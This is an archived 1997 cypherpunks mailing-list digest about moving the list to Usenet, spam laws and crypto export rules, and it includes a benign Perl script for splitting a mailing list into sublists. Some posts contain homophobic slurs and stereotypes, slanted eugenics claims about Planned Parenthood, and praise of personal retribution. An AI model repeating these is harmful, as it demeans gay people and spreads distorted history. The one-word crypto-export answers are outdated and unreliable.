From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 13 Feb 1997 11:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <199702120549.VAA07146@toad.com>
Message-ID: <m0vuw3H-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?
> 

It's not quite that simple.  While a "Big 7" group requires CFD, charter
and voting, once you pass tthose hurdles you're virtually guaranteed good
propagation.  alt has no "set" creartion procedure, but your group will
not receive good propagation unless the powers that be "approve" of the 
idea.

In this case, the people you have to convince are the news admins who must
permit your control message to be honoured; time was most sites ran on
autopilot, but joke and badly-named groups mean that most news admins
now drop most newgroup messages on the floor.  These people hang out in
alt.config, and you should propose the group's creation there, followed
by a couple of weeks of discussion, hopefully featuring many more 
supportive messages than non-supportive ones.  After that, a newgroup 
message stands a much better chance.

> Cheers,
> Bob Hettinga
> 
> 
>

Hip hip,

John P. 
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Date: Thu, 13 Feb 1997 10:16:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: distributed mailing list architecture
In-Reply-To: <199702072011.UAA00463@server.test.net>
Message-ID: <199702131812.TAA17470@sobolev.rhein.de>
MIME-Version: 1.0
Content-Type: text/plain


Maybe you have some use for the appended perl script.  I created it for a
list setup quite similar to what is currently being discussed on
cypherpunks.  It has never ever been used in production; you'll notice
yourself that the code is not too nice.

The script currently tries to handle majordomo and SmartList exploders; at
least SmartList needs to be hacked a little bit to avoid daily subscription
approvals to people being moved between different sub-lists.

Distribute and use this script freely; credit is appreciated.

tlr
------------------------------
#!/usr/bin/perl

############################################################
#
# $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $
#

#
# Handle distributed mailing lists.
#

require 'getopts.pl';

$c_sublists='lists';		# Data about the sublists
$c_distfile='dist';		# A list of mail addresses
$c_datafile='dist.data';	# _Our_ list of addresses
$c_contact='roessler@sobolev.rhein.de';
				# Whom to contact in case of problems
$sendmail="| /usr/sbin/sendmail -t -odq";


$debug=0;			# Debugging output.  Can also be
				# turned on by using the -x switch.

$signature="-- \nThis mail has been generated automatically by the distlist\n".
    "program. Please contact $c_contact in case of problems.\n";


@sublists=();
@newsubs=();

#
# Command line processing
#

&dprint (1, 'Processing the command line...\n');
&Getopts('s:d:D:c:x:');

$c_sublists=$opt_s if $opt_s;
$c_distfile=$opt_d if $opt_d;
$c_datafile=$opt_D if $opt_D;
$c_contact=$opt_c  if $opt_c;
$debug=$opt_x	   if $opt_x;

#
# Read the data and config files, perform various checks.
#

#
# sublists
#

&dprint(1, "Reading $c_sublists...");

# format: addr:maxsubscr:listtype:password:adminrequest:maintainer

open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists");
SUBLIST: while(<SUBLISTS>) {
    next SUBLIST if /^#/ || /^$/;
    chop;
    ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_);
    $s_maxsubscr{$addr}=$maxsubscr;
    $s_listtype{$addr}=$listtype;
    $s_password{$addr}=$password;
    $s_admin{$addr}=$admin;
    $s_maintainer{$addr}=$maintainer;
    $s_onlist{$addr}=0;
    $s_addem{$addr}="";
    $s_delem{$addr}="";
    &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer");
    @sublists=(@sublists, $addr);
}

close(SUBLISTS);

# In addition, we define a special list for people to be redistributed later.

$s_maxsubscr{'later'}=100000;		# Very big. ;)
$s_listtype{'later'}="";
$s_password{'later'}="";
$s_onlist{'later'}=0;
$s_addem{'later'}="";
$s_delem{'later'}="";

#
# Read our dist file
#



# format: user:list

if(open(DATAFILE, $c_datafile)) {
    &dprint(1, "Reading $c_datafile...");

  USERLINE: while(<DATAFILE>) {
      next USERLINE if /^#/ || /^$/;
      chop;
      ($user, $list) = split(/:/, $_);
      
      # Check if the list exists; handle user.
      
      if(! $s_maxsubscr{$list}) {
	  &dprint(2, "While checking user $user:  $list does no longer exist.");
	  $list="later";
      } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) {
	  &dprint(2, "Warning: $list is full.  Redistributing people later.");
	  $s_delem{$list}=join(':',$user,$s_delem{$list});
	  $list="later";
      } 
      
      $s_onlist{$list}++;
      $u_list{$user}=$list;
      
      $deletem{$user}=$user;
  }
    
    close(DATAFILE);
    &dprint(1,"$c_datafile finished.");
} else {
    &dprint(1, "Warning:  Can't read $c_datafile.");
}


#
# Now, read the real distribution file.
#

&dprint(1, "Reading $c_distfile...");

open(DISTFILE, $c_distfile) || die("Can't open $c_distfile");

 DISTLINE: while(<DISTFILE>) {
     next DISTLINE if /^#/ || /^$/ || /^\(/;
     chop;
     
     if(!$u_list{$_}) {			# A new member.
	 &dprint(2, "Found a new member: $_.");
	 @newsubs=($_, @newsubs);
     } else {				# We know him.
	 &dprint(3, "Well-known: $_.");
	 delete $deletem{$_};
     }
     
 }

close(DISTFILE);


#
# Handle deletions.
#

foreach $user (keys %deletem) {
    $list=$u_list{$user};
    delete $u_list{$user};
    $s_onlist{$list}--;
    $s_delem{$list}=join(':', $s_delem{$list}, $user);
    &dprint(3, "Removing $user from sublist $list.");
}

#
# Handle postponed subscriptions:  The later list.
#

foreach (keys %u_list) {
    next unless $u_list{$_} eq "later";
    @newsubs=($_, @newsubs);
    delete $u_list{$_};
    &dprint(3, "Adding $_ to the list of new subscriptions.  Was postponed.");
}


&dprint(1, "Distributing new subscriptions...");

 NEWSUBS: foreach $user (@newsubs) {

     $avg=0.0;
     foreach $l (@sublists) {
	 $avg += $s_onlist{$l}/$s_maxsubscr{$l};
     }
     
     $avg = $avg / ($#sublists + 1.0);
     
     if ($avg >= 1) {
	 &dprint(2, "Warning: All sublists are full while trying to insert $user.");
     }

     undef $possible;

     foreach $l (@sublists) {
	 if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) {
	     $possible=$l;
	 }

	 if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) {
	     last;
	 }
     }

     if($possible) {
	 $l = $possible;
     }
     
     $s_addem{$l}=join(':', $s_addem{$l}, $user);
     $s_onlist{$l}++;
     $u_list{$user}=$l;
     
 }

#
# Write our own data file.
#

if(open(DATAFILE, ">$c_datafile")) {
    foreach (keys %u_list) {
	printf DATAFILE "%s:%s\n", $_, $u_list{$_};
    }
    close(DATAFILE);
} else {
    &dprint(1, "Warning: Can't write $c_datafile.");
}

#
# The lists have been put together.  Commit the changes.
#

&dprint(1, "Committing the changes...");

foreach $l (@sublists) {
    if($s_listtype{$l} eq "majordomo") {
	&commit_majordomo($l);
    } elsif ($s_listtype{$l} eq "smartlist") {
	&commit_smartlist($l);
    } else {
	&dprint(1, "While trying to commit changes for $l:");
	&dprint(1, "Unknown list type $s_listtype{$l}.\n");
    }
}

#
# To be done:  Print out some statistics.
#

print "Distlist results:\n";
print "-----------------\n";
print "\n";
printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1;

$full_lists=0;

printf "%-40s     on  max\n", "Name";
printf "----------------------------------------------------\n";

foreach $l (@sublists) {
    printf "%-40s   %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l};
    
    if($s_onlist{$l} >= $s_maxsubscr{$l}) {
	print "   *** This list is full ***";
	$full_lists++;
    }

    print "\n";
}

if($full_lists) {
    print "\n$full_lists of the sublists are *full*.  Please get in touch\n";
    print "with the maintainers.\n";
}

print "\n\n";
print $signature;

############################################################
#
# Some helper functions.
#

# Print out diagnostics.

sub dprint
{
    if($_[0] <= $debug) {
	printf STDERR "%s\n", $_[1];
    }
}


sub commit_majordomo
{
    my $list=$_[0];
    my @bla;
    my $ll;
    my $user;

    &dprint(2, "Committing changes to majordomo list $list");
    &dprint(3, "to be added: $s_addem{$list}");
    &dprint(3, "to be deleted: $s_delem{$list}");

    ($ll, @bla)=split(/@/, $list);

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Warning:  Can't start sendmail when committing changes to $list");
    }

    print SENDMAIL "To: $s_admin{$list}\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "\n\n";
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n"
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n"
	    unless $u_list{$user} eq $list;
    }

    print SENDMAIL $signature;
    
    close(SENDMAIL);
}

sub smartlist_xcommand
{
    my ($list, $to, $passwd, $command, $maintainer) = @_;

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Can't start sendmail when committing changes for $list");
    }

    print SENDMAIL "To: $to\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "X-Command: $maintainer $passwd $command\n";
    print SENDMAIL "\n\n";
    print SENDMAIL $signature;

    close SENDMAIL;
}	
	
    

sub commit_smartlist
{
    my $list=$_[0];
    my @bla;
    my $user;

    &dprint(2, "Committing changes to smartlist list $list");
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "subscribe $user", $s_maintainer{$list})
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "unsubscribe $user", $s_maintainer{$list})
	    unless $u_list{$user} eq $list;
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 19:09:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <v03007808af29889a687e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:17 PM -0800 2/13/97, Leonard Janke wrote:

>That being said, I fully support the idea of a comp.* newgroup,
>over an alt.* group. The important advantages are the greater
>propogation many have described, and the reduction in "outsider"
>noise. I also think that people interested in computing
>in general might be more likely to stumble onto the newsgroup,
>since the comp.* hierachy is so much smaller than the alt.*
>hierachy.

Given that _political_ discussions of crypto are now encouraged in
_talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
political and social essays dealing with crypto anarchy, offshore
databases, undermining governments, etc., will be welcome in the "comp"
hierarchy?

I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
approved, those who dislike crypto anarchy and sociopolitical chatter will
use the "comp" name to try to suppress such discussions.

And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and
other such groups.

>To be fair, though, I doubt that anyone would seriously try to
>disrupt the creation, given the dedication I am seeing people putting
>into finding a new home (or homes!) for the list, and that there does not
>seem to be anyone dedicated to distrupting that process as John Gilmore
>worried there would be. (And I am on the unedited list, too!)

Sorry, Leonard, but this is one of the most naive statements I've ever
heard. You really think whoever is spamming the list with ASCII art and
broke into Paul's account to post hundreds of "John Gilmore is a
cocksucker" posts will back off because of the "dedication" of some? To the
perverse personality, this is merely a greater challenge and temptation.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 19:37:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970213111917.9322A-100000@dhp.com>
Message-ID: <3303DD64.3685@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On 12 Feb 1997, Against Moderation wrote:
> > aga <aga@dhp.com> writes:
> > > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > > have anything to do with it?

> > Doubtful.  Given the fact that gay people suffer a great deal of
> > discrimination, they generally tend to be fairly open-minded.  I see
> > no reason to believe Gilmore is in fact gay, but if he is it in no way
> > affects my opinion of him.

(It sure doesn't affect my opinion of him.  He's such a total jerk
and a conspiring creep that I haven't had to consider anything else).

Funny, isn't it?  Those people who *allegedly* suffer the most dis-
crimination seem to be having the most fun, if you can call it that.
If I were gay, which I'm not, I could get all the boyfriends I want.
But being heterosexual, I would very much like to have women friends
(just as friends mind you) for ordinary social purposes, yet it's not
that easy.  I'd guess the gays are much more liberal with their multi-
friendships than straight people are.

Another funny thing - I'm an ordinary English/Welsh/Dutch White person,
and I've had plenty of White friends, and an equal percentage of Black
friends given the number of Black people I've known, but I've never
had a friend who was gay or lesbian, as far as I know, and I think
I could tell.  I can only guess that the gays are very clique-ish,
or their brains are wired differently than non-gays.

> Well, the fact remains that the homos are instrumental in creating and
> forming a cliquish and censored usenet.  There is just no question
> about that.  Remember the previous cypherpunk who stated that the
> gays "created and run usenet."
[snip]
> It is very logical and wise to discriminate on the basis of sex.
> I am not a racist, so therefore I can not be a "bigot," regardless of
> my views on homosexuality.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 19:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale disses gays.
Message-ID: <199702140357.TAA13962@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 13 Feb 1997 19:35:01 -0800
From: Dale Thorn <dthorn@gte.net>

:Another funny thing - I'm an ordinary English/Welsh/Dutch White :person,

Makes me hate myself.

:and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

How, Dale, by the smell?

:I can only guess that the gays are very clique-ish,
:or their brains are wired differently than non-gays.

Perhaps the hard wiring makes it possible for them to avoid bigots like you. 

Sign him up to pass out the pink triangles.

What a fraud!

Still love you, big guy.
Can you tell?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 13 Feb 1997 12:17:44 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
In-Reply-To: <v03007800af28f71d3a32@[207.167.93.63]>
Message-ID: <199702132017.NAA06984@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970213:0902 "Timothy C. May" <tcmay@got.net> said:

+At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

+>    unfortunately, until the irresponsible tone down their greed, we
+>    need the regulation to protect ourselves from the predators.
+>
+>    in other words, I agree with you in my heart, but our society
+>    refuses to cooperate.

+Attila and I have had this disagreement before (last time it involved
+Attila's support for curfews).

+Attila is free to hire agents to screen his mail so he does not receive
+spam. He is not free, in a free society, to force such screeners upon
+me.

    very true. if you if define that your freedom includes the free 
    abuse of your freedoms by others.  freedom is a two way street; 
    freedom in my book says that I can do anything I wish which does 
    not infringe on the rights of others. now, that implies that I can 
    _personally_ exact justice on those who violate my space.  this is 
    a state of war which even Jim Bell's AP does not cover --AP is just 
    an anonymous and chicken-hearted way of settling the score, and 
    creates its own code even more absurb than the rules coming down 
    from Washington.

    and, I can not imagine you really believe the basic animals of our 
    society and the predators who attempt to feed upon us all do not 
    need to be restrained in one way or another.  you obviously have
    a solution: your .44 (I prefer a full choke 12 ga pump).

    maybe the comment in my sig line is an expression of the suppressed 
    feelings of the frustrated members of our society who have been 
    confronted by the inequities of our legal system when they expected 
    redress was their right.

+Talking about "irresponsible tones" and "greed" and how we need more
+laws to protect ourselves from "predators" sounds more like something
+from the Marin County limousine liberal set than from a Utah mountain
+man Cypherpunk. I'm shocked, simply shocked.

    shocked, simply shocked?  (:-})  marin county? I'm insulted <g>

    tell you what: you run afoul of us out here on the "mountain" where 
    there is no need for social niceties --we just call it "range law."
 
    
 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwN12b04kQrCC2kFAQG8AwP/fT3BgeMG8V9IKOGjFEpI+3gY8F5cSohh
8qqaMrHkYT7UU1WZcO/1pGJyUycvOUgzzlFJoTYZsxP6NvJhpkGopHg31EUBDfC+
5lFDJR1hlX6ckyL8moDlxi3l0z7Dxf6VO+J5dsCetmJG+QxN7/0PzeplN5oN9Y1V
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=G/Ag
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:16:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: N.Y. judge rules for Planned Parenthood in web site case
In-Reply-To: <Xmy32D2w165w@bwalk.dm.com>
Message-ID: <3303E6CE.2D43@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> A federal judge has temporarily stopped an abortion foe from
> identifying his web site as belonging to Planned Parenthood and
> selling an anti-abortion book from that home page. The temporary
> restraining order, issued Wednesday, stops Richard Bucci from
> identifying his home page as "Planned Parenthood's Home Page" and
> using "plannedparenthood.com" as a domain name. Planned Parenthood,
> which has its own web site, sued Bucci for trademark infringement. The
> next hearing is slated for Feb. 20. For the full text story, see
> http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

"Planned Parenthood". Has a nice ring to it, eh? Let's look at some
history:

Founded by Margaret Sanger (1879-1966).
Publisher of Birth Control Review.
Associate Henry Laughlin:
  Honorary MD from Heidelburg U (1936).
  Author of Hitler's Model Eugenical Sterilization Law.
  Author of "Mandatory Sterilization In The USA", published
   in Birth Control Review.
Associate Dr. Ernst Rudin:
  Director of Nazi Medical Experimentation program;
   commissioned to write for Birth Control Review.
Associate Dr. Lothrop Stoddard:
  Director, American Birth Control League.
  Vocal supporter of Nazis and their sterilization programs.
  Author of "The Rising Tide Of Color Against White Supremacy".
  Quote: "More children from the fit - less from the unfit. That
         is the chief aim of birth control." -from Birth Control
         Review circa 1921.

Margaret described her plan to depopulate the Blacks in the U.S. in
a private letter to Clarence Gamble, dated Oct. 19, 1939.  Her plan
was to hire Black ministers with engaging personalities to travel
thru the South to propagandize for birth control.  It was believed
that the best access to the Blacks was thru religion, and Sanger's
steering committee wanted to create the illusion that these projects
were under the control of the local Black leaders.

For those of you who don't know, there were a lot of successful
sterilizations in the U.S. when these programs were in effect during
Sanger's earlier years.  Persons wishing to research this should
also check Shockley, the transistor guy who won a Nobel prize for
something or other, and his friendship with George Bush et al.

I believe it was A&E channel that ran the Sanger TV-movie disinfor-
mation/propaganda a year or so ago.  You know, the channel that has
been described by critics as "All Hitler, all the time".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 13 Feb 1997 17:22:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and the Electronic Economy
Message-ID: <1.5.4.32.19970214011616.006f0850@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the IEEE Spectrum special issue on Technology
and the Electronic Economy, with 13 articles previously listed 
here, at:

   http://jya.com/tee.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:50:18 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale disses gays.
In-Reply-To: <199702140357.TAA13962@mailmasher.com>
Message-ID: <3303EEC3.61EB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

> :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

> How, Dale, by the smell?

I worked for a gay man in Beverly Hills and Encino for 3 years.  I
learned a lot about "signals" during that time.  Bigot?  I don't
think so.  One of my favorite customers, a nice lady who is Jewish
(and who grew up where I did) told me she could spot 'em every time.

> Sign him up to pass out the pink triangles.
> What a fraud!  Still love you, big guy.  Can you tell?

I'll bet you do!  Er, I wouldn't bend over in front of you, that is.
No offense, ya' know.

BTW, my browser has a problem with your lines that have no c/r after
every 70 or so characters. Other people will undoubtedly confirm that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 21:09:08 -0800 (PST)
To: Bill Stewart <gnu@toad.com
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <3.0.32.19970213205346.006c3668@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 2/13/97 -0800, Bill Stewart wrote:
>So far it's carried 1-2 announcements per month.
>Should we create it as a mailing list, moderated or unmoderated,
>or as a newsgroup?  (It's been a moderated mailing list, run by John and
>Hugh.)

Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce.
There was never a problem with cypherpunks-announce. Whoever volunteered to
run the monthly meeting just emailed to Hugh, who posted the announcement.
I would suggest to avoid fixing what isn't broken and make
alt.cypherpunks.announce a moderated list with Hugh and Eric as the
moderators.

The cypherpunks* lists on toad.com could be set up as mail-to-news gateways
(I volunteer to do so if needed) and all current subscribers unsubscribed
after a suitable warning outlining ways of accessing USENET. If the list
owner should so desire, I volunteer to write the tutorial.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 21:03:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Good Bye Cypherpunks!
Message-ID: <3.0.32.19970213210412.006ef344@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


Friends,
I have been on the list since May 1993, after reading about it in Wired
1.2. The list impacted my life more than any other medium.
I knew little about cryptography when I joined the list. Now I work in the
field. Some of the subscribers on this list have become my personal
friends. Many have become co-workers or clients. The list has been good to me.

But it is time to move on. Cypherpunks@toad.com has come to an end, and
perhaps it was time.

See you all on USENET

mailto:cypherpunks@toad.com is dead. Long live news:alt.cypherpunks

Umsuscrive message follows ;-)


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 20:50:53 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: (2) More on Digital Postage
In-Reply-To: <199702132327.PAA13638@toad.com>
Message-ID: <199702140554.VAA14691@songbird.com>
MIME-Version: 1.0
Content-Type: text


Timothy C. May allegedly said:
> 
[...]
> By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> violations of the First Amendment.

You are entitled to any tortuous idiosyncratic opinion you care to
hold, of course.

> I understand why the herd _wants_ these
> laws, as it reduces the costs involved in replacing fax paper, running to
> the telephone only to find someone trying to sell something, etc., but it
> is quite clearly a prior restraint on speech, however well-intentioned.

"Prior restraint" is not a magic key.  Not all speech is protected.  
Of course, once again, you are free to disagree with the massive 
body of legal precedent on this issue.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 20:07:50 -0800 (PST)
To: stend@sten.tivoli.com (Firebeard)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <vpafp876ss.fsf@grendel.tivoli.com>
Message-ID: <199702140400.WAA28065@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Firebeard wrote:
> 
> >>>>> Igor Chudov @ home writes:
> 
> IC> This is where the distributed nature of the list comes in.  if
> IC> someone disagrees with Jim's AUP, he or she can use soem other
> IC> mailing list host.
> 
> 	And once I'm up and running, my cypherpunks list server will
> not be interconnected with any server which has a similar AUP.  The
> implication of the AUP is that if you _don't_ comply with it, you will
> be blocked.  Without such an implication, the AUP is meaningless, and
> I'm dedicated that there should be no filtering/blocking of any kind,
> of the list.  Persons behaving 'unacceptably' should be handled by
> social pressures by others in the 'community' of the list, and not by
> policies of the list operators.

Which is, again, a perfectly fine idea.

I would probably disconnect from any server that 

a) does not let certain messages go through (unless they are fighting a DOS
attack) and
b) Alters content of any messages.


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:06:35 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <0n0xNr200YUh03LuM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Pearson <john@cognac.apana.org.au> writes:
> In this case, the people you have to convince are the news admins who must
> permit your control message to be honoured; time was most sites ran on
> autopilot, but joke and badly-named groups mean that most news admins
> now drop most newgroup messages on the floor.  These people hang out in
> alt.config, and you should propose the group's creation there, followed
> by a couple of weeks of discussion, hopefully featuring many more 
> supportive messages than non-supportive ones.  After that, a newgroup 
> message stands a much better chance.

alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
consiencous newsadmins probably did not honor the rmgroup, as
alt.cypherpunks should be acceptable, but most newsadmins are too
overworked to actually look at most of the crap that comes through.
For example, it hasn't received any messages on my news server,
probably because the one upstream removed it. 

Therefore, it would be a Good Thing to continue any discussion on
alt.config, and convince any cabal'ers who rmgroup it to re-new it.
Sending out boosters every couple of weeks wouldn't hurt, either. 

alt.cypherpunks'less,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=rbHX
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:35:46 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <0n0xnB200YUh03LyA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> i am a bit confused. what exactly are the us govt crypto regulations.

Hard to tell, really...

> what i mean is that :

Oh, this is one of those easy questions!

> 1) is it illegal to develop an encryption tool (s/w) in the US which
> uses > 40 bit size session keys and then export that s/w outside of the
> US.

Yes.

> 2) is it illegal to encrypt some data inside the us with a key > 40 bit
> in size and then send that data outside the US.

No.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 21:07:23 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dale disses gays.
In-Reply-To: <3303EEC3.61EB@gte.net>
Message-ID: <199702140501.XAA28650@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Huge Cajones Remailer wrote:
> > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> 
> > How, Dale, by the smell?
> 
> I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> learned a lot about "signals" during that time.  Bigot?  I don't
> think so.  One of my favorite customers, a nice lady who is Jewish
> (and who grew up where I did) told me she could spot 'em every time.

This is a typical case of overconfidence on her part.

If she thought about it for longer, she would realize that she cannot
benchmark her gay-spotting performance very well.

If you presented her with, say, 100 unknown men and 50 of them were gays
and she'd identify everyone correctly, I would be impressed.

A truly great and simple book that talks about this stuff is ``Decision
Traps: the ten barriers to brilliant decision making''.

> BTW, my browser has a problem with your lines that have no c/r after
> every 70 or so characters. Other people will undoubtedly confirm that.

Yes, we will.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joburger@mail.evansville.net
Date: Tue, 11 Feb 1997 21:16:13 -0800 (PST)
